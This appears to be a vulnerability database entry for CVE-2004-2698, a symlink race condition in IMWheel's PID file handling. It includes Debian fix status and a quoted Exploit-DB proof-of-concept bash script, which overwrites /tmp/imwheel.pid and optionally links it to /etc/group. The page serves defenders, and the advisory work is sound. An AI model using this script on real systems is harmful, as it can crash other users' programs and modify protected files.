CVE-2004-2698
Description
Race condition in IMWheel 1.0.0pre11 and earlier, when running with the -k option, allows local users to cause a denial of service (IMWheel crash) and possibly modify arbitrary files via a symlink attack on the imwheel.pid file.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
IMWheel 1.0 - Predictable Temporary File Creation
source: https://www.securityfocus.com/bid/11008/info
IMWheel is reported prone to a predictable temporary file creation vulnerability. This issue is a race condition error and may allow a local attacker to carry out denial of service attacks against other users and possibly gain elevated privileges.
This vulnerability was identified in IMWheel 1.0.0pre11, however, other versions may be affected as well.
#!/bin/bash
# you may have to adjust the number of characters in the print to
# get the timing correct for the injection. Fewer characters seems
# to prevent this from working. Optionally, replacing the echo
# with the symlink creation at the end of this script seems to work
# fairly regularly.
CHARCOUNT=4000
echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
while [[ $? != 0 ]]; do
echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
done
# Wait for imwheel to write it's pid to the new file
sleep 1
# Wipe the contents of the PID file.
echo > /tmp/imwheel.pid
# Optionally, replace the new file with a link
# rm /tmp/imwheel.pid
# ln -s /etc/group /tmp/imwheel.pid
echo "Exploit Successful!!!"
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.0.0pre12-1 |
| sid | Fixed | 1.0.0pre12-1 |
| forky | Fixed | 1.0.0pre12-1 |
| bullseye | Fixed | 1.0.0pre12-1 |
| bookworm | Fixed | 1.0.0pre12-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.